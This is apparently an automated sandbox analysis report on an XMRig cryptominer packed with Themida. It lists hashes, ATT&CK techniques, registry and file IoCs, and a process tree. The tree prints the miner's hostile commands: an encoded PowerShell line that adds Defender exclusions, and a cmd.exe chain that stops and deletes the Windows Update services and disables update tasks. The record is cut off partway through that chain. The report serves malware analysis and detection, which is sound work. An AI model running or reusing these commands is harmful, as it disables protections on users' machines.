xmrig | b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc

Analysis

max time kernel
315s
max time network
318s
platform
windows10-1703_x64
resource
win10-20220718-en
resource tags

arch:x64arch:x86image:win10-20220718-enlocale:en-usos:windows10-1703-x64system
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General

Target

b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
Size

7.2MB
MD5

39a2104f5c1096d1c9481cbf5203a820
SHA1

17b15f09ef79c1cfc0b8ae2c52fd0e564b00aa34
SHA256

b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc
SHA512

7b22e01e8b271c17e9c1480802bf111c502b3b18894b9e6dbf42e011809cb1f8f965e454f78c7bd14561733c7ab2b831a08a962ba375fc19048184350d18bf52

Score

10^/10

xmrig discovery evasion exploit miner themida trojan

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exeupdater.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3256-464-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3256-465-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/3256-466-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3256-467-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3256-478-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3256-483-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

Processes:

conhost.execonhost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

492 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

3996 takeown.exe
3760 icacls.exe
3720 takeown.exe
4084 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
492	updater.exe

pid	process
3996	takeown.exe
3760	icacls.exe
3720	takeown.exe
4084	icacls.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

3996 takeown.exe
3760 icacls.exe
3720 takeown.exe
4084 icacls.exe

pid	process
3996	takeown.exe
3760	icacls.exe
3720	takeown.exe
4084	icacls.exe

Themida packer 8 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral2/memory/3896-114-0x0000000000400000-0x00000000010B6000-memory.dmp	themida
behavioral2/memory/3896-116-0x0000000000400000-0x00000000010B6000-memory.dmp	themida
behavioral2/memory/3896-117-0x0000000000400000-0x00000000010B6000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/492-268-0x0000000000400000-0x00000000010B6000-memory.dmp	themida
behavioral2/memory/492-269-0x0000000000400000-0x00000000010B6000-memory.dmp	themida
behavioral2/memory/492-271-0x0000000000400000-0x00000000010B6000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.EXEpowershell.execonhost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log	conhost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exeupdater.exe

pid process

3896 b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
492 updater.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description pid process target process

PID 3948 set thread context of 3256 3948 conhost.exe explorer.exe

pid	process
3896	b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
492	updater.exe

description	pid	process	target process
PID 3948 set thread context of 3256	3948	conhost.exe	explorer.exe

Drops file in Program Files directory 3 IoCs

Processes:

powershell.execonhost.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File created	C:\Program Files\Google\Libs\WR64.sys	conhost.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1620 sc.exe
1272 sc.exe
200 sc.exe
2560 sc.exe
3788 sc.exe
2796 sc.exe
1184 sc.exe
2216 sc.exe
3760 sc.exe
208 sc.exe

pid	process
1620	sc.exe
1272	sc.exe
200	sc.exe
2560	sc.exe
3788	sc.exe
2796	sc.exe
1184	sc.exe
2216	sc.exe
3760	sc.exe
208	sc.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.EXEconhost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	conhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
3608	reg.exe
420	reg.exe
2952	reg.exe
2800	reg.exe
1892	reg.exe
1892	reg.exe
876	reg.exe
1968	reg.exe
3520	reg.exe
2688	reg.exe
2700	reg.exe
1536	reg.exe
496	reg.exe
4048	reg.exe
2560	reg.exe
60	reg.exe
3628	reg.exe
3116	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.execonhost.exepowershell.exepowershell.EXEpowershell.execonhost.exeexplorer.exe

pid	process
708	powershell.exe
708	powershell.exe
708	powershell.exe
2144	conhost.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
1768	powershell.EXE
1768	powershell.EXE
1768	powershell.EXE
2148	powershell.exe
2148	powershell.exe
2148	powershell.exe
3948	conhost.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe
3256	explorer.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

608

pid	process
608

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.execonhost.exepowercfg.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	708	powershell.exe
Token: SeIncreaseQuotaPrivilege	708	powershell.exe
Token: SeSecurityPrivilege	708	powershell.exe
Token: SeTakeOwnershipPrivilege	708	powershell.exe
Token: SeLoadDriverPrivilege	708	powershell.exe
Token: SeSystemProfilePrivilege	708	powershell.exe
Token: SeSystemtimePrivilege	708	powershell.exe
Token: SeProfSingleProcessPrivilege	708	powershell.exe
Token: SeIncBasePriorityPrivilege	708	powershell.exe
Token: SeCreatePagefilePrivilege	708	powershell.exe
Token: SeBackupPrivilege	708	powershell.exe
Token: SeRestorePrivilege	708	powershell.exe
Token: SeShutdownPrivilege	708	powershell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeSystemEnvironmentPrivilege	708	powershell.exe
Token: SeRemoteShutdownPrivilege	708	powershell.exe
Token: SeUndockPrivilege	708	powershell.exe
Token: SeManageVolumePrivilege	708	powershell.exe
Token: 33	708	powershell.exe
Token: 34	708	powershell.exe
Token: 35	708	powershell.exe
Token: 36	708	powershell.exe
Token: SeShutdownPrivilege	164	powercfg.exe
Token: SeCreatePagefilePrivilege	164	powercfg.exe
Token: SeShutdownPrivilege	2136	powercfg.exe
Token: SeCreatePagefilePrivilege	2136	powercfg.exe
Token: SeDebugPrivilege	2144	conhost.exe
Token: SeShutdownPrivilege	3004	powercfg.exe
Token: SeCreatePagefilePrivilege	3004	powercfg.exe
Token: SeShutdownPrivilege	1916	powercfg.exe
Token: SeCreatePagefilePrivilege	1916	powercfg.exe
Token: SeTakeOwnershipPrivilege	3996	takeown.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeIncreaseQuotaPrivilege	3864	powershell.exe
Token: SeSecurityPrivilege	3864	powershell.exe
Token: SeTakeOwnershipPrivilege	3864	powershell.exe
Token: SeLoadDriverPrivilege	3864	powershell.exe
Token: SeSystemProfilePrivilege	3864	powershell.exe
Token: SeSystemtimePrivilege	3864	powershell.exe
Token: SeProfSingleProcessPrivilege	3864	powershell.exe
Token: SeIncBasePriorityPrivilege	3864	powershell.exe
Token: SeCreatePagefilePrivilege	3864	powershell.exe
Token: SeBackupPrivilege	3864	powershell.exe
Token: SeRestorePrivilege	3864	powershell.exe
Token: SeShutdownPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeSystemEnvironmentPrivilege	3864	powershell.exe
Token: SeRemoteShutdownPrivilege	3864	powershell.exe
Token: SeUndockPrivilege	3864	powershell.exe
Token: SeManageVolumePrivilege	3864	powershell.exe
Token: 33	3864	powershell.exe
Token: 34	3864	powershell.exe
Token: 35	3864	powershell.exe
Token: 36	3864	powershell.exe
Token: SeIncreaseQuotaPrivilege	3864	powershell.exe
Token: SeSecurityPrivilege	3864	powershell.exe
Token: SeTakeOwnershipPrivilege	3864	powershell.exe
Token: SeLoadDriverPrivilege	3864	powershell.exe
Token: SeSystemProfilePrivilege	3864	powershell.exe
Token: SeSystemtimePrivilege	3864	powershell.exe
Token: SeProfSingleProcessPrivilege	3864	powershell.exe
Token: SeIncBasePriorityPrivilege	3864	powershell.exe
Token: SeCreatePagefilePrivilege	3864	powershell.exe
Token: SeBackupPrivilege	3864	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.execonhost.execmd.execmd.exe

description	pid	process	target process
PID 3896 wrote to memory of 2144	3896	b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe	conhost.exe
PID 3896 wrote to memory of 2144	3896	b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe	conhost.exe
PID 3896 wrote to memory of 2144	3896	b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe	conhost.exe
PID 2144 wrote to memory of 708	2144	conhost.exe	powershell.exe
PID 2144 wrote to memory of 708	2144	conhost.exe	powershell.exe
PID 2144 wrote to memory of 2428	2144	conhost.exe	cmd.exe
PID 2144 wrote to memory of 2428	2144	conhost.exe	cmd.exe
PID 2144 wrote to memory of 1384	2144	conhost.exe	cmd.exe
PID 2144 wrote to memory of 1384	2144	conhost.exe	cmd.exe
PID 2428 wrote to memory of 200	2428	cmd.exe	sc.exe
PID 2428 wrote to memory of 200	2428	cmd.exe	sc.exe
PID 1384 wrote to memory of 164	1384	cmd.exe	powercfg.exe
PID 1384 wrote to memory of 164	1384	cmd.exe	powercfg.exe
PID 1384 wrote to memory of 2136	1384	cmd.exe	powercfg.exe
PID 1384 wrote to memory of 2136	1384	cmd.exe	powercfg.exe
PID 2428 wrote to memory of 2560	2428	cmd.exe	sc.exe
PID 2428 wrote to memory of 2560	2428	cmd.exe	sc.exe
PID 1384 wrote to memory of 3004	1384	cmd.exe	powercfg.exe
PID 1384 wrote to memory of 3004	1384	cmd.exe	powercfg.exe
PID 2428 wrote to memory of 2216	2428	cmd.exe	sc.exe
PID 2428 wrote to memory of 2216	2428	cmd.exe	sc.exe
PID 1384 wrote to memory of 1916	1384	cmd.exe	powercfg.exe
PID 1384 wrote to memory of 1916	1384	cmd.exe	powercfg.exe
PID 2428 wrote to memory of 3788	2428	cmd.exe	sc.exe
PID 2428 wrote to memory of 3788	2428	cmd.exe	sc.exe
PID 2428 wrote to memory of 2796	2428	cmd.exe	sc.exe
PID 2428 wrote to memory of 2796	2428	cmd.exe	sc.exe
PID 2428 wrote to memory of 1892	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 1892	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 3520	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 3520	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 876	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 876	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 496	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 496	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 1968	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 1968	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 3996	2428	cmd.exe	takeown.exe
PID 2428 wrote to memory of 3996	2428	cmd.exe	takeown.exe
PID 2428 wrote to memory of 3760	2428	cmd.exe	icacls.exe
PID 2428 wrote to memory of 3760	2428	cmd.exe	icacls.exe
PID 2144 wrote to memory of 3864	2144	conhost.exe	powershell.exe
PID 2144 wrote to memory of 3864	2144	conhost.exe	powershell.exe
PID 2428 wrote to memory of 3608	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 3608	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 420	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 420	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 4048	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 4048	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 60	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 60	2428	cmd.exe	reg.exe
PID 2428 wrote to memory of 1620	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 1620	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 4040	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 4040	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 3744	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 3744	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 1416	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 1416	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 2212	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 2212	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 2204	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 2204	2428	cmd.exe	schtasks.exe
PID 2428 wrote to memory of 2136	2428	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe
"C:\Users\Admin\AppData\Local\Temp\b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:3896

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc.exe"
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAbAB4ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAaAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBhAGkAeQBuACMAPgA="
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:708

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN 